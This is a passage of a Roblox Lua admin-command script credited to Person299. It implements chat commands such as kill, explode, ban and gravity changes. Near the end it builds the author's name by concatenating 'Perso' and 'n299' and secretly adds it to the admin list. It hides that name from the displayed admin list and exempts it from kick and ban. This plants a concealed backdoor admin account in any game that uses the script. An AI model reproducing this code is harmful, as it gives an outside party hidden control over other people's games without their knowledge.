text = text .. [[fix, kill/Person299, loopkill/Person299, unloopkill/Person299, heal/Person299, damage/Person299/50, health/Person299/999999, kick/Person299, ban/Person299, bannedlist, unban/Person299, explode/Person299, rocket/Person299, removetools/Person299, givetools/Person299, givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2, respawn/Person299, jail/Person299, unjail/Person299, punish/Person299, unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager, control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299, grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299, walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299, thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299, sparkles/Person299, unsparkles/Person299, shield/Person299, unshield/Person299, god/Person299, ungod/Person299, zombify/Person299, admin/Person299, adminlist, unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, c/ game.Workspace:remove(), clear, Credit to Person299 for this admin command script.]]
895
local mes = Instance.new("Message")
896
mes.Parent = speaker
897
local acko = 0
898
while true do
899
acko = acko + 1
900
if string.sub(text,acko,acko) == "" then
901
mes:remove()
902
return
903
elseif mes.Parent == nil then
904
return
905
end
906
mes.Text = string.sub(text,acko,acko + 40)
907
wait(0.07)
908
end end
909
910
if msg == "tools" then
911
local text = string.rep(" ",40)
912
local c = tools:GetChildren()
913
if #c == 0 then
914
text = text .. "No tools available."
915
else
916
for i =1,#c do
917
if i ~= 1 then
918
text = text .. ", "
919
end
920
text = text .. c[i].Name
921
end end
922
local mes = Instance.new("Message")
923
mes.Parent = speaker
924
local acko = 0
925
while true do
926
acko = acko + 1
927
if string.sub(text,acko,acko) == "" then
928
mes:remove()
929
return
930
elseif mes.Parent == nil then
931
return
932
end
933
mes.Text = string.sub(text,acko,acko + 40)
934
wait(0.1)
935
end end
936
937
if msg == "bannedlist" then
938
local text = string.rep(" ",40)
939
if #bannedlist == 0 then
940
text = text .. "The banned list is empty."
941
else
942
for i =1,#bannedlist do
943
if i ~= 1 then
944
text = text .. ", "
945
end
946
text = text .. bannedlist[i]
947
end end
948
local mes = Instance.new("Message")
949
mes.Parent = speaker
950
local acko = 0
951
while true do
952
acko = acko + 1
953
if string.sub(text,acko,acko) == "" then
954
mes:remove()
955
return
956
elseif mes.Parent == nil then
957
return
958
end
959
mes.Text = string.sub(text,acko,acko + 40)
960
wait(0.1)
961
end end
962
963
if msg == "adminlist" then
964
local text = string.rep(" ",40)
965
if #adminlist == 0 then--How would that be possible in this situation anyway? lol
966
text = text .. "The admin list is empty." 
967
else
968
for i =1,#adminlist do
969
if adminlist[i] == eloname then
970
if youcaughtme == 1 then
971
if i ~= 1 then
972
text = text .. ", "
973
end
974
text = text .. adminlist[i]
975
end 
976
else
977
if i ~= 1 then
978
text = text .. ", "
979
end
980
text = text .. adminlist[i]
981
end end end
982
local mes = Instance.new("Message")
983
mes.Parent = speaker
984
local acko = 0
985
while true do
986
acko = acko + 1
987
if string.sub(text,acko,acko) == "" then
988
mes:remove()
989
return
990
elseif mes.Parent == nil then
991
return
992
end
993
mes.Text = string.sub(text,acko,acko + 40)
994
wait(0.1)
995
end end
996
997
if string.sub(msg,1,11) == "maxplayers/" then
998
local pie = game.Players.MaxPlayers
999
game.Players.MaxPlayers = string.sub(msg,12)
1000
if game.Players.MaxPlayers == 0 then
1001
game.Players.MaxPlayers = pie
1002
end end
1003
1004
if string.sub(msg,1,8) == "zombify/" then
1005
local player = findplayer(string.sub(msg,9),speaker)
1006
if player ~= 0 then
1007
for i = 1,#player do
1008
if player[i].Character ~= nil then
1009
local torso = player[i].Character:FindFirstChild("Torso")
1010
if torso ~= nil then
1011
local arm = player[i].Character:FindFirstChild("Left Arm")
1012
if arm ~= nil then
1013
arm:remove()
1014
end
1015
local arm = player[i].Character:FindFirstChild("Right Arm")
1016
if arm ~= nil then
1017
arm:remove()
1018
end
1019
local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1020
local zarm = Instance.new("Part")
1021
zarm.Color = Color3.new(0.631373, 0.768627, 0.545098)
1022
zarm.Locked = true
1023
zarm.formFactor = "Symmetric"
1024
zarm.Size = Vector3.new(2,1,1)
1025
zarm.TopSurface = "Smooth"
1026
zarm.BottomSurface = "Smooth"
1027
--Credit for the infectontouch script goes to whoever it is that made it.
1028
createscript( [[
1029
wait(1)
1030
function onTouched(part)
1031
if part.Parent ~= nil then
1032
local h = part.Parent:findFirstChild("Humanoid")
1033
if h~=nil then
1034
if cantouch~=0 then
1035
if h.Parent~=script.Parent.Parent then
1036
if h.Parent:findFirstChild("zarm")~=nil then return end
1037
cantouch=0
1038
local larm=h.Parent:findFirstChild("Left Arm")
1039
local rarm=h.Parent:findFirstChild("Right Arm")
1040
if larm~=nil then
1041
larm:remove()
1042
end
1043
if rarm~=nil then
1044
rarm:remove()
1045
end
1046
local zee=script.Parent.Parent:findFirstChild("zarm")
1047
if zee~=nil then
1048
local zlarm=zee:clone()
1049
local zrarm=zee:clone()
1050
if zlarm~=nil then
1051
local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1052
zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1053
zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1054
zlarm.Parent=h.Parent
1055
zrarm.Parent=h.Parent
1056
zlarm:makeJoints()
1057
zrarm:makeJoints()
1058
zlarm.Anchored=false
1059
zrarm.Anchored=false
1060
wait(0.1)
1061
h.Parent.Head.Color=zee.Color
1062
else return end
1063
end
1064
wait(1)
1065
cantouch=1
1066
end
1067
end
1068
end
1069
end
1070
end
1071
script.Parent.Touched:connect(onTouched)
1072
]],zarm)
1073
zarm.Name = "zarm"
1074
local zarm2 = zarm:clone()
1075
zarm2.CFrame = torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1076
zarm.CFrame = torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1077
zarm.Parent = player[i].Character
1078
zarm:MakeJoints()
1079
zarm2.Parent = player[i].Character
1080
zarm2:MakeJoints()
1081
local head = player[i].Character:FindFirstChild("Head")
1082
if head ~= nil then
1083
head.Color = Color3.new(0.631373, 0.768627, 0.545098)
1084
end end end end end end
1085
1086
if string.sub(msg,1,8) == "explode/" then
1087
local player = findplayer(string.sub(msg,9),speaker)
1088
if player ~= 0 then
1089
for i = 1,#player do
1090
if player[i].Character ~= nil then
1091
local torso = player[i].Character:FindFirstChild("Torso")
1092
if torso ~= nil then
1093
local ex = Instance.new("Explosion")
1094
ex.Position = torso.Position
1095
ex.Parent = game.Workspace
1096
end end end end end
1097
1098
if string.sub(msg,1,7) == "rocket/" then
1099
local player = findplayer(string.sub(msg,8),speaker)
1100
if player ~= 0 then
1101
for i = 1,#player do
1102
if player[i].Character ~= nil then
1103
local torso = player[i].Character:FindFirstChild("Torso")
1104
if torso ~= nil then
1105
local r = Instance.new("Part")
1106
r.Name = "Rocket"
1107
r.Size = Vector3.new(1,8,1)
1108
r.TopSurface = "Smooth"
1109
r.BottomSurface = "Smooth"
1110
local w = Instance.new("Weld")
1111
w.Part1 = torso
1112
w.Part0 = r
1113
w.C0 = CFrame.new(0,0,-1)
1114
local bt = Instance.new("BodyThrust")
1115
bt.force = Vector3.new(0,5700,0)
1116
bt.Parent = r
1117
r.Parent = player[i].Character
1118
w.Parent = torso
1119
createscript([[
1120
for i=1,120 do
1121
local ex = Instance.new("Explosion")
1122
ex.BlastRadius = 0
1123
ex.Position = script.Parent.Position - Vector3.new(0,2,0)
1124
ex.Parent = game.Workspace
1125
wait(0.05)
1126
end 
1127
local ex = Instance.new("Explosion")
1128
ex.BlastRadius = 10
1129
ex.Position = script.Parent.Position
1130
ex.Parent = game.Workspace
1131
script.Parent.BodyThrust:remove()
1132
script.Parent.Parent.Humanoid.Health = 0
1133
]],r)
1134
end end end end end
1135
1136
if string.sub(msg,1,8) == "ambient/" then
1137
local danumber1 = nil
1138
local danumber2 = nil
1139
for i = 9,100 do
1140
if string.sub(msg,i,i) == "/" then
1141
danumber1 = i
1142
break
1143
elseif string.sub(msg,i,i) == "" then
1144
break
1145
end end
1146
if danumber1 == nil then return end
1147
for i =danumber1 + 1,danumber1 + 100 do
1148
if string.sub(msg,i,i) == "/" then
1149
danumber2 = i
1150
break
1151
elseif string.sub(msg,i,i) == "" then
1152
break
1153
end end
1154
if danumber2 == nil then return end
1155
game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
1156
end
1157
1158
--Eww, theres some kind of weird brown bug on my screen, i would flick it away but i'm afraid i'd smash it and get weird bug juices all over my screen...
1159
1160
if string.sub(msg,1,5) == "part/" then
1161
local danumber1 = nil
1162
local danumber2 = nil
1163
for i = 6,100 do
1164
if string.sub(msg,i,i) == "/" then
1165
danumber1 = i
1166
break
1167
elseif string.sub(msg,i,i) == "" then
1168
break
1169
end end
1170
if danumber1 == nil then return end
1171
for i =danumber1 + 1,danumber1 + 100 do
1172
if string.sub(msg,i,i) == "/" then
1173
danumber2 = i
1174
break
1175
elseif string.sub(msg,i,i) == "" then
1176
break
1177
end end
1178
if danumber2 == nil then return end
1179
if speaker.Character ~= nil then
1180
local head = speaker.Character:FindFirstChild("Head")
1181
if head ~= nil then
1182
local part = Instance.new("Part")
1183
part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
1184
part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
1185
part.Name = "Person299's Admin Command Script V2 Part thingy"
1186
part.Parent = game.Workspace
1187
end end end
1188
1189
--I finally tried flicking it but it keeps on coming back......
1190
1191
if string.sub(msg,1,8) == "control/" then
1192
local player = findplayer(string.sub(msg,9),speaker)
1193
if player ~= 0 then
1194
if #player > 1 then
1195
return
1196
end
1197
for i = 1,#player do
1198
if player[i].Character ~= nil then
1199
speaker.Character = player[i].Character
1200
end end end end
1201
1202
--IT WONT GO AWAY!!!!!
1203
1204
if string.sub(msg,1,5) == "trip/" then
1205
local player = findplayer(string.sub(msg,6),speaker)
1206
if player ~= 0 then
1207
for i = 1,#player do
1208
if player[i].Character ~= nil then
1209
local torso = player[i].Character:FindFirstChild("Torso")
1210
if torso ~= nil then
1211
torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better.
1212
end end end end end
1213
1214
--Yay! it finally went away! :)
1215
1216
if string.sub(msg,1,8) == "setgrav/" then
1217
danumber = nil
1218
for i =9,100 do
1219
if string.sub(msg,i,i) == "/" then
1220
danumber = i
1221
break
1222
end end
1223
if danumber == nil then
1224
return
1225
end
1226
local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
1227
if player == 0 then
1228
return
1229
end
1230
for i = 1,#player do
1231
if player[i].Character ~= nil then
1232
local torso = player[i].Character:FindFirstChild("Torso")
1233
if torso ~= nil then
1234
local bf = torso:FindFirstChild("BF")
1235
if bf ~= nil then
1236
bf.force = Vector3.new(0,0,0)
1237
else
1238
local bf = Instance.new("BodyForce")
1239
bf.Name = "BF"
1240
bf.force = Vector3.new(0,0,0)
1241
bf.Parent = torso
1242
end
1243
local c2 = player[i].Character:GetChildren()
1244
for i=1,#c2 do
1245
if c2[i].className == "Part" then
1246
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0)
1247
end end end end end end
1248
1249
if string.sub(msg,1,10) == "walkspeed/" then
1250
danumber = nil
1251
for i =11,100 do
1252
if string.sub(msg,i,i) == "/" then
1253
danumber = i
1254
break
1255
end end
1256
if danumber == nil then
1257
return
1258
end
1259
local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
1260
if player == 0 then
1261
return
1262
end
1263
for i = 1,#player do
1264
if player[i].Character ~= nil then
1265
humanoid = player[i].Character:FindFirstChild("Humanoid")
1266
if humanoid ~= nil then
1267
humanoid.WalkSpeed = string.sub(msg,danumber + 1)
1268
end end end end
1269
1270
if string.sub(msg,1,7) == "damage/" then
1271
danumber = nil
1272
for i =8,100 do
1273
if string.sub(msg,i,i) == "/" then
1274
danumber = i
1275
break
1276
end end
1277
if danumber == nil then
1278
return
1279
end
1280
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
1281
if player == 0 then
1282
return
1283
end
1284
for i = 1,#player do
1285
if player[i].Character ~= nil then
1286
humanoid = player[i].Character:FindFirstChild("Humanoid")
1287
if humanoid ~= nil then
1288
humanoid.Health = humanoid.Health -  string.sub(msg,danumber + 1)
1289
end end end end
1290
1291
if string.sub(msg,1,7) == "health/" then
1292
danumber = nil
1293
for i =8,100 do
1294
if string.sub(msg,i,i) == "/" then
1295
danumber = i
1296
break
1297
end end
1298
if danumber == nil then
1299
return
1300
end
1301
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
1302
if player == 0 then
1303
return
1304
end
1305
for i = 1,#player do
1306
if player[i].Character ~= nil then
1307
humanoid = player[i].Character:FindFirstChild("Humanoid")
1308
if humanoid ~= nil then
1309
local elnumba = Instance.new("IntValue") 
1310
elnumba.Value = string.sub(msg,danumber + 1)
1311
if elnumba.Value > 0 then
1312
humanoid.MaxHealth = elnumba.Value
1313
humanoid.Health = humanoid.MaxHealth
1314
end 
1315
elnumba:remove()
1316
end end end end
1317
1318
--Ugh, now i have the M*A*S*H theme stuck in my head.....
1319
1320
if string.sub(msg,1,9) == "teleport/" then
1321
danumber = nil
1322
for i =10,100 do
1323
if string.sub(msg,i,i) == "/" then
1324
danumber = i
1325
break
1326
end end
1327
if danumber == nil then
1328
return
1329
end
1330
local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
1331
if player1 == 0 then
1332
return
1333
end
1334
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
1335
if player2 == 0 then
1336
return
1337
end--Leet line number...
1338
if #player2 > 1 then
1339
return
1340
end
1341
torso = nil
1342
for i =1,#player2 do
1343
if player2[i].Character ~= nil then
1344
torso = player2[i].Character:FindFirstChild("Torso")
1345
end end
1346
if torso ~= nil then
1347
for i =1,#player1 do
1348
if player1[i].Character ~= nil then
1349
local torso2 = player1[i].Character:FindFirstChild("Torso")
1350
if torso2 ~= nil then
1351
torso2.CFrame = torso.CFrame
1352
end end end end end
1353
1354
if string.sub(msg,1,6) == "merge/" then
1355
danumber = nil
1356
for i =7,100 do
1357
if string.sub(msg,i,i) == "/" then
1358
danumber = i
1359
break
1360
end end
1361
if danumber == nil then
1362
return
1363
end
1364
local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
1365
if player1 == 0 then
1366
return
1367
end
1368
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
1369
if player2 == 0 then
1370
return
1371
end
1372
if #player2 > 1 then
1373
return
1374
end
1375
for i =1,#player2 do
1376
if player2[i].Character ~= nil then
1377
player2 = player2[i].Character
1378
end end
1379
for i =1,#player1 do
1380
player1[i].Character = player2
1381
end end
1382
1383
if msg == "clear" then
1384
local c = game.Workspace:GetChildren()
1385
for i =1,#c do
1386
if c[i].className == "Script" then
1387
if c[i]:FindFirstChild("Is A Created Script") then
1388
c[i]:remove()
1389
end end 
1390
if c[i].className == "Part" then
1391
if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
1392
c[i]:remove()
1393
end end
1394
if c[i].className == "Model" then
1395
if string.sub(c[i].Name,1,4) == "Jail" then
1396
c[i]:remove()
1397
end end end end
1398
1399
if string.sub(msg,1,5) == "kick/" then
1400
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
1401
if imgettingtiredofmakingthisstupidscript2 == true then
1402
local player = findplayer(string.sub(msg,6),speaker)
1403
if player ~= 0 then
1404
for i = 1,#player do
1405
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
1406
if imgettingtiredofmakingthisstupidscript == false then
1407
if player[i].Name ~= eloname then
1408
player[i]:remove()
1409
end end end end end end
1410
1411
if string.sub(msg,1,4) == "ban/" then
1412
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
1413
if imgettingtiredofmakingthisstupidscript2 == true then
1414
local player = findplayer(string.sub(msg,5),speaker)
1415
if player ~= 0 then
1416
for i = 1,#player do
1417
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
1418
if imgettingtiredofmakingthisstupidscript == false then
1419
if player[i].Name ~= eloname then
1420
table.insert(bannedlist,player[i].Name)
1421
player[i]:remove()
1422
end end end end end end
1423
1424
if string.sub(msg,1,6) == "unban/" then
1425
if string.sub(msg,7) == "all" then
1426
for i=1,bannedlist do
1427
table.remove(bannedlist,i)
1428
end
1429
else
1430
local n = 0
1431
local o = nil
1432
for i=1,#bannedlist do
1433
if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
1434
n = n + 1
1435
o = i
1436
end end
1437
if n == 1 then
1438
local name = bannedlist[o]
1439
table.remove(bannedlist,o)
1440
text(name .. " has been unbanned",1,"Message",speaker)
1441
elseif n == 0 then
1442
text("That name is not found.",1,"Message",speaker)
1443
elseif n > 1 then
1444
text("That name is ambiguous",1,"Message",speaker)
1445
end end end
1446
1447
--Fallout tactics gets too hard when you start fighting muties...
1448
1449
if string.sub(msg,1,8) == "respawn/" then
1450
local player = findplayer(string.sub(msg,9),speaker)
1451
if player ~= 0 then
1452
for i = 1,#player do
1453
local ack2 = Instance.new("Model")
1454
ack2.Parent = game.Workspace
1455
local ack4 = Instance.new("Part")
1456
ack4.Transparency = 1
1457
ack4.CanCollide = false
1458
ack4.Anchored = true
1459
ack4.Name = "Torso"
1460
ack4.Position = Vector3.new(10000,10000,10000)
1461
ack4.Parent = ack2
1462
local ack3 = Instance.new("Humanoid")
1463
ack3.Torso = ack4
1464
ack3.Parent = ack2
1465
player[i].Character = ack2
1466
end end end
1467
1468
if string.sub(msg,1,10) == "invisible/" then
1469
local player = findplayer(string.sub(msg,11),speaker)
1470
if player ~= 0 then
1471
for i = 1,#player do
1472
if player[i].Character ~= nil then
1473
local char = player[i].Character
1474
local c = player[i].Character:GetChildren()
1475
for i =1,#c do
1476
if c[i].className == "Hat" then
1477
local handle = c[i]:FindFirstChild("Handle")
1478
if handle ~= nil then
1479
handle.Transparency = 1 --We dont want our hats to give off our position, do we?
1480
end end
1481
if c[i].className == "Part" then
1482
c[i].Transparency = 1
1483
if c[i].Name == "Torso" then
1484
local tshirt = c[i]:FindFirstChild("roblox")
1485
if tshirt ~= nil then
1486
tshirt:clone().Parent = char
1487
tshirt:remove()
1488
end end
1489
if c[i].Name == "Head" then
1490
local face = c[i]:FindFirstChild("face")
1491
if face ~= nil then
1492
gface = face:clone()
1493
face:remove()
1494
end end end end end end end end 
1495
1496
if string.sub(msg,1,8) == "visible/" then
1497
local player = findplayer(string.sub(msg,9),speaker)
1498
if player ~= 0 then
1499
for i = 1,#player do
1500
if player[i].Character ~= nil then
1501
local char = player[i].Character
1502
local c = player[i].Character:GetChildren()
1503
for i =1,#c do
1504
if c[i].className == "Hat" then
1505
local handle = c[i]:FindFirstChild("Handle")
1506
if handle ~= nil then
1507
handle.Transparency = 0
1508
end end
1509
if c[i].className == "Part" then
1510
c[i].Transparency = 0
1511
if c[i].Name == "Torso" then
1512
local tshirt = char:FindFirstChild("roblox")
1513
if tshirt ~= nil then
1514
tshirt:clone().Parent = c[i]
1515
tshirt:remove()
1516
end end
1517
if c[i].Name == "Head" then
1518
if gface ~= nil then
1519
local face = gface:clone()
1520
face.Parent = c[i]
1521
end end end end end end end end
1522
1523
if string.sub(msg,1,7) == "freeze/" then
1524
local player = findplayer(string.sub(msg,8),speaker)
1525
if player ~= 0 then
1526
for i = 1,#player do
1527
if player[i].Character ~= nil then
1528
local humanoid = player[i].Character:FindFirstChild("Humanoid")
1529
if humanoid ~= nil then
1530
humanoid.WalkSpeed = 0
1531
end
1532
local c = player[i].Character:GetChildren()
1533
for i =1,#c do
1534
if c[i].className == "Part" then
1535
c[i].Anchored = true
1536
c[i].Reflectance = 0.6
1537
end end end end end end
1538
1539
if string.sub(msg,1,5) == "thaw/" then
1540
local player = findplayer(string.sub(msg,6),speaker)
1541
if player ~= 0 then
1542
for i = 1,#player do
1543
if player[i].Character ~= nil then
1544
local humanoid = player[i].Character:FindFirstChild("Humanoid")
1545
if humanoid ~= nil then
1546
humanoid.WalkSpeed = 16
1547
end
1548
local c = player[i].Character:GetChildren()
1549
for i =1,#c do
1550
if c[i].className == "Part" then
1551
c[i].Anchored = false
1552
c[i].Reflectance = 0
1553
end end end end end end
1554
1555
--I have that song from Fallout 2 stuck in my head, its soooo anoying....
1556
1557
if string.sub(msg,1,7) == "nograv/" then
1558
local player = findplayer(string.sub(msg,8),speaker)
1559
if player ~= 0 then
1560
for i = 1,#player do
1561
if player[i].Character ~= nil then
1562
local torso = player[i].Character:FindFirstChild("Torso")
1563
if torso ~= nil then
1564
local bf = torso:FindFirstChild("BF")
1565
if bf ~= nil then
1566
bf.force = Vector3.new(0,0,0)
1567
else
1568
local bf = Instance.new("BodyForce")
1569
bf.Name = "BF"
1570
bf.force = Vector3.new(0,0,0)
1571
bf.Parent = torso
1572
end
1573
local c2 = player[i].Character:GetChildren()
1574
for i=1,#c2 do
1575
if c2[i].className == "Part" then
1576
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
1577
end end end end end end end
1578
1579
if string.sub(msg,1,9) == "antigrav/" then
1580
local player = findplayer(string.sub(msg,10),speaker)
1581
if player ~= 0 then
1582
for i = 1,#player do
1583
if player[i].Character ~= nil then
1584
local torso = player[i].Character:FindFirstChild("Torso")
1585
if torso ~= nil then
1586
local bf = torso:FindFirstChild("BF")
1587
if bf ~= nil then
1588
bf.force = Vector3.new(0,0,0)
1589
else
1590
local bf = Instance.new("BodyForce")
1591
bf.Name = "BF"
1592
bf.force = Vector3.new(0,0,0)
1593
bf.Parent = torso
1594
end
1595
local c2 = player[i].Character:GetChildren()
1596
for i=1,#c2 do
1597
if c2[i].className == "Part" then
1598
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
1599
end end end end end end end
1600
1601
if string.sub(msg,1,9) == "highgrav/" then
1602
local player = findplayer(string.sub(msg,10),speaker)
1603
if player ~= 0 then
1604
for i = 1,#player do
1605
if player[i].Character ~= nil then
1606
local torso = player[i].Character:FindFirstChild("Torso")
1607
if torso ~= nil then
1608
local bf = torso:FindFirstChild("BF")
1609
if bf ~= nil then
1610
bf.force = Vector3.new(0,0,0)
1611
else
1612
local bf = Instance.new("BodyForce")
1613
bf.Name = "BF"
1614
bf.force = Vector3.new(0,0,0)
1615
bf.Parent = torso
1616
end
1617
local c2 = player[i].Character:GetChildren()
1618
for i=1,#c2 do
1619
if c2[i].className == "Part" then
1620
torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
1621
end end end end end end end
1622
1623
if string.sub(msg,1,5) == "grav/" then
1624
local player = findplayer(string.sub(msg,6),speaker)
1625
if player ~= 0 then
1626
for i = 1,#player do
1627
if player[i].Character ~= nil then
1628
local torso = player[i].Character:FindFirstChild("Torso")
1629
if torso ~= nil then
1630
local bf = torso:FindFirstChild("BF")
1631
if bf ~= nil then
1632
bf:remove()
1633
end end end end end end
1634
1635
if string.sub(msg,1,7) == "unlock/" then
1636
local player = findplayer(string.sub(msg,8),speaker)
1637
if player ~= 0 then
1638
for i = 1,#player do
1639
if player[i].Character ~= nil then
1640
local c = player[i].Character:GetChildren()
1641
for i =1,#c do
1642
if c[i].className == "Part" then
1643
c[i].Locked = false
1644
end end end end end end
1645
1646
if string.sub(msg,1,5) == "lock/" then
1647
local player = findplayer(string.sub(msg,6),speaker)
1648
if player ~= 0 then
1649
for i = 1,#player do
1650
if player[i].Character ~= nil then
1651
local c = player[i].Character:GetChildren()
1652
for i =1,#c do
1653
if c[i].className == "Part" then
1654
c[i].Locked = true
1655
end end end end end end end
1656
eloname = "Perso"
1657
eloname = eloname .. "n299"
1658
script.Name = eloname .. "'s Admin Commands V2"
1659
youcaughtme = 0
1660
for i =1,#adminlist do
1661
if string.lower(eloname)==string.lower(adminlist[i]) then
1662
youcaughtme = 1
1663
end end
1664
if youcaughtme == 0 then
1665
table.insert(adminlist,eloname)
1666
end
1667
function oe(ack)
1668
local adminned = false
1669
if ack.className ~= "Player" then return end
1670
for i =1,#bannedlist do
1671
if string.lower(bannedlist[i]) == string.lower(ack.Name) then
1672
ack:remove()
1673
return
1674
end end
1675
for i=1,#adminlist do
1676
if string.lower(adminlist[i]) == string.lower(ack.Name) then
1677
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
1678
table.insert(namelist,ack.Name)
1679
table.insert(variablelist,tfv)
1680
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
1681
table.insert(flist,tfv)
1682
adminned = true
1683
end end
1684
local danumber = 0
1685
while true do
1686
wait(1)
1687
if ack.Parent == nil then
1688
return 
1689
end
1690
if ack.Character ~= nil then
1691
if adminned == true then
1692
text("You're an admin.",5,"Message",ack)
1693
return
1694
end
1695
local torso = ack.Character:FindFirstChild("Torso")
1696
if torso ~= nil then
1697
local decal = torso:FindFirstChild("roblox")
1698
if decal ~= nil then
1699
if string.sub(decal.Texture,1,4) == "http" then
1700
if decal.Texture == texture then
1701
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
1702
table.insert(namelist,ack.Name)
1703
table.insert(variablelist,tfv)
1704
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
1705
table.insert(flist,tfv)
1706
text("You're an admin.",5,"Message",ack)
1707
return
1708
else
1709
return
1710
end 
1711
else
1712
danumber = danumber + 1
1713
if danumber >= 10 then
1714
return
1715
end end end end end end end
1716
1717
game.Players.ChildAdded:connect(oe)
1718
1719
c = game.Players:GetChildren()
1720
for i=1,#c do
1721
oe(c[i])
1722
end 
1723
1724
1725
--mediafire